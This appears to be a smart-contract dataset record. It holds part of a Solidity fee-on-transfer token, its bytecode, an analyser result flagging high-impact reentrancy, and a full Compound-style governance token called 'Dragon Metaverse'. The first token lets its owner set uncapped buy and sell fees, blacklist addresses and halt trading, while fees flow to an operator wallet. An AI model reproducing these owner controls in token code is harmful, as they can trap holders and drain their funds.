);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610529578063c3c8cd8014610559578063dd62ed3e1461056e578063ea1644d5146105b457600080fd5b806398a5c31514610499578063a2a957bb146104b9578063a9059cbb146104d9578063bdd795ef146104f957600080fd5b80638da5cb5b116100d15780638da5cb5b146104165780638f70ccf7146104345780638f9a55c01461045457806395d89b411461046a57600080fd5b8063715018a6146103cb57806374010ece146103e05780637d1db4a51461040057600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103565780636d8aa8f8146103765780636fc3eaec1461039657806370a08231146103ab57600080fd5b80632fd689e314610304578063313ce5671461031a57806349bd5a5e1461033657600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c45780632f9c4569146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461191e565b6105d4565b005b3480156101ff57600080fd5b506040805180820190915260078152664361772044414f60c81b60208201525b60405161022c9190611a48565b60405180910390f35b34801561024157600080fd5b506102556102503660046118f3565b610681565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b5069152d02c7e14af68000005b60405190815260200161022c565b3480156102d057600080fd5b506102556102df36600461187f565b610698565b3480156102f057600080fd5b506101f16102ff3660046118bf565b610701565b34801561031057600080fd5b506102b660185481565b34801561032657600080fd5b506040516009815260200161022c565b34801561034257600080fd5b50601554610285906001600160a01b031681565b34801561036257600080fd5b506101f161037136600461180f565b6107c5565b34801561038257600080fd5b506101f16103913660046119e5565b610810565b3480156103a257600080fd5b506101f1610858565b3480156103b757600080fd5b506102b66103c636600461180f565b610885565b3480156103d757600080fd5b506101f16108a7565b3480156103ec57600080fd5b506101f16103fb3660046119ff565b61091b565b34801561040c57600080fd5b506102b660165481565b34801561042257600080fd5b506000546001600160a01b0316610285565b34801561044057600080fd5b506101f161044f3660046119e5565b61094a565b34801561046057600080fd5b506102b660175481565b34801561047657600080fd5b5060408051808201909152600681526543415744414f60d01b602082015261021f565b3480156104a557600080fd5b506101f16104b43660046119ff565b610992565b3480156104c557600080fd5b506101f16104d4366004611a17565b6109c1565b3480156104e557600080fd5b506102556104f43660046118f3565b6109ff565b34801561050557600080fd5b5061025561051436600461180f565b60116020526000908152604090205460ff1681565b34801561053557600080fd5b5061025561054436600461180f565b60106020526000908152604090205460ff1681565b34801561056557600080fd5b506101f1610a0c565b34801561057a57600080fd5b506102b6610589366004611847565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c057600080fd5b506101f16105cf3660046119ff565b610a42565b6000546001600160a01b031633146106075760405162461bcd60e51b81526004016105fe90611a9b565b60405180910390fd5b60005b815181101561067d5760016010600084848151811061063957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067581611bae565b91505061060a565b5050565b600061068e338484610a71565b5060015b92915050565b60006106a5848484610b95565b6106f784336106f285604051806060016040528060288152602001611c0b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611098565b610a71565b5060019392505050565b6000546001600160a01b0316331461072b5760405162461bcd60e51b81526004016105fe90611a9b565b6001600160a01b03821660009081526011602052604090205460ff161515811515141561079a5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105fe565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107ef5760405162461bcd60e51b81526004016105fe90611a9b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461083a5760405162461bcd60e51b81526004016105fe90611a9b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087857600080fd5b47610882816110d2565b50565b6001600160a01b0381166000908152600260205260408120546106929061110c565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016105fe90611a9b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109455760405162461bcd60e51b81526004016105fe90611a9b565b601655565b6000546001600160a01b031633146109745760405162461bcd60e51b81526004016105fe90611a9b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109bc5760405162461bcd60e51b81526004016105fe90611a9b565b601855565b6000546001600160a01b031633146109eb5760405162461bcd60e51b81526004016105fe90611a9b565b600893909355600a91909155600955600b55565b600061068e338484610b95565b6013546001600160a01b0316336001600160a01b031614610a2c57600080fd5b6000610a3730610885565b905061088281611190565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105fe90611a9b565b601755565b6001600160a01b038316610ad35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fe565b6001600160a01b038216610b345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fe565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fe565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fe565b60008111610cbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fe565b6000546001600160a01b03848116911614801590610ce957506000546001600160a01b03838116911614155b15610f8b57601554600160a01b900460ff16610d8d576001600160a01b03831660009081526011602052604090205460ff16610d8d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fe565b601654811115610ddf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fe565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2157506001600160a01b03821660009081526010602052604090205460ff16155b610e795760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fe565b6015546001600160a01b03838116911614610efe5760175481610e9b84610885565b610ea59190611b40565b10610efe5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fe565b6000610f0930610885565b601854601654919250821015908210610f225760165491505b808015610f395750601554600160a81b900460ff16155b8015610f5357506015546001600160a01b03868116911614155b8015610f685750601554600160b01b900460ff165b15610f8857610f7682611190565b478015610f8657610f86476110d2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fcd57506001600160a01b03831660009081526005602052604090205460ff165b80610fff57506015546001600160a01b03858116911614801590610fff57506015546001600160a01b03848116911614155b1561100c57506000611086565b6015546001600160a01b03858116911614801561103757506014546001600160a01b03848116911614155b1561104957600854600c55600954600d555b6015546001600160a01b03848116911614801561107457506014546001600160a01b03858116911614155b1561108657600a54600c55600b54600d555b61109284848484611335565b50505050565b600081848411156110bc5760405162461bcd60e51b81526004016105fe9190611a48565b5060006110c98486611b97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561067d573d6000803e3d6000fd5b60006006548211156111735760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fe565b600061117d611363565b90506111898382611386565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123a57600080fd5b505afa15801561124e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611272919061182b565b8160018151811061129357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112b99130911684610a71565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f2908590600090869030904290600401611ad0565b600060405180830381600087803b15801561130c57600080fd5b505af1158015611320573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611342576113426113c8565b61134d8484846113f6565b8061109257611092600e54600c55600f54600d55565b60008060006113706114ed565b909250905061137f8282611386565b9250505090565b600061118983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611531565b600c541580156113d85750600d54155b156113df57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114088761155f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143a90876115bc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146990866115fe565b6001600160a01b03891660009081526002602052604090205561148b8161165d565b61149584836116a7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114da91815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af680000061150a8282611386565b8210156115285750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115525760405162461bcd60e51b81526004016105fe9190611a48565b5060006110c98486611b58565b600080600080600080600080600061157c8a600c54600d546116cb565b925092509250600061158c611363565b9050600080600061159f8e878787611720565b919e509c509a509598509396509194505050505091939550919395565b600061118983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611098565b60008061160b8385611b40565b9050838110156111895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fe565b6000611667611363565b905060006116758383611770565b3060009081526002602052604090205490915061169290826115fe565b30600090815260026020526040902055505050565b6006546116b490836115bc565b6006556007546116c490826115fe565b6007555050565b60008080806116e560646116df8989611770565b90611386565b905060006116f860646116df8a89611770565b905060006117108261170a8b866115bc565b906115bc565b9992985090965090945050505050565b600080808061172f8886611770565b9050600061173d8887611770565b9050600061174b8888611770565b9050600061175d8261170a86866115bc565b939b939a50919850919650505050505050565b60008261177f57506000610692565b600061178b8385611b78565b9050826117988583611b58565b146111895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fe565b80356117fa81611bf5565b919050565b803580151581146117fa57600080fd5b600060208284031215611820578081fd5b813561118981611bf5565b60006020828403121561183c578081fd5b815161118981611bf5565b60008060408385031215611859578081fd5b823561186481611bf5565b9150602083013561187481611bf5565b809150509250929050565b600080600060608486031215611893578081fd5b833561189e81611bf5565b925060208401356118ae81611bf5565b929592945050506040919091013590565b600080604083850312156118d1578182fd5b82356118dc81611bf5565b91506118ea602084016117ff565b90509250929050565b60008060408385031215611905578182fd5b823561191081611bf5565b946020939093013593505050565b60006020808385031215611930578182fd5b823567ffffffffffffffff80821115611947578384fd5b818501915085601f83011261195a578384fd5b81358181111561196c5761196c611bdf565b8060051b604051601f19603f8301168101818110858211171561199157611991611bdf565b604052828152858101935084860182860187018a10156119af578788fd5b8795505b838610156119d8576119c4816117ef565b8552600195909501949386019386016119b3565b5098975050505050505050565b6000602082840312156119f6578081fd5b611189826117ff565b600060208284031215611a10578081fd5b5035919050565b60008060008060808587031215611a2c578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7457858101830151858201604001528201611a58565b81811115611a855783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b1f5784516001600160a01b031683529383019391830191600101611afa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5357611b53611bc9565b500190565b600082611b7357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9257611b92611bc9565b500290565b600082821015611ba957611ba9611bc9565b500390565b6000600019821415611bc257611bc2611bc9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220566ad747c59d35ba41e4d3b3c11984eb7554b7223d900e0f8f8d153715b4af2564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,114 |
0xd0338490693f8d218a6c0e4bab85dd88440445ad
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
contract Dragon_Metaverse {
/// @notice EIP-20 token name for this token
string public constant name = "Dragon Metaverse";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "DRAGON";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint128 private _totalSupply = 1e33; // 10**33
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint128)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint128) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint128 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/**
* @notice Construct a new TT token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint128(_totalSupply);
emit Transfer(address(0), account, _totalSupply);
}
/** ========== token functions ========== */
function totalSupply() public view returns (uint128) {
return _totalSupply;
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) public view returns (uint128) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) public returns (bool) {
uint128 amount;
if (rawAmount == uint(-1)) {
amount = uint128(-1);
} else {
amount = safe128(rawAmount, "approve: amount exceeds 128 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) public view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint128 amount = safe128(rawAmount, "transfer: amount exceeds 128 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint128 spenderAllowance = allowances[src][spender];
uint128 amount = safe128(rawAmount, "approve: amount exceeds 128 bits");
if (spender != src && spenderAllowance != uint128(-1)) {
uint128 newAllowance = sub128(spenderAllowance, amount, "transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
* votes will be updated after burn() whoever the delegator is.
*/
function burn(uint256 rawAmount) external returns (bool) {
uint128 amount = safe128(rawAmount, "_burn: amount exceeds 128 bits");
require(_burn(msg.sender, amount), "burn: fail to burn");
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 rawAmount) external returns (bool) {
uint128 amount = safe128(rawAmount, "_burn: amount exceeds 128 bits");
uint128 decreasedAllowance = sub128(allowance(account, msg.sender), amount, "ERC20: burn amount exceeds allowance");
allowances[account][msg.sender] = decreasedAllowance;
require(_burn(account, amount), "burn: fail to burn");
return true;
}
/** ========== voting functions ========== */
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
require(now <= expiry, "delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint128) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint128) {
require(blockNumber < block.number, "getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/** ========== internal mutative functions ========== */
/**
* @notice burn token and decrease user's votes
* @param src The address of the account burning token
* @param rawAmount The amount of burning token
*/
function _burn(address src, uint256 rawAmount) internal returns (bool) {
require(src != address(0), "_burn: burn from the zero address");
uint128 amount = safe128(rawAmount, "_burn: amount exceeds 128 bits");
balances[src] = sub128(balances[src], amount, "_burn: burn amount exceeds balance");
_totalSupply = sub128(_totalSupply, amount, "_burn: all token have been burnt");
_moveDelegates(delegates[src], address(0), amount);
emit Transfer(src, address(0), amount);
return true;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint128 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint128 amount) internal {
require(src != address(0), "_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "_transferTokens: cannot transfer to the zero address");
balances[src] = sub128(balances[src], amount, "_transferTokens: transfer amount exceeds balance");
balances[dst] = add128(balances[dst], amount, "_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint128 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint128 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint128 srcRepNew = sub128(srcRepOld, amount, "_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint128 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint128 dstRepNew = add128(dstRepOld, amount, "_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint128 oldVotes, uint128 newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe128(uint n, string memory errorMessage) internal pure returns (uint128) {
require(n < 2**128, errorMessage);
return uint128(n);
}
function add128(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) {
uint128 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub128(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
|
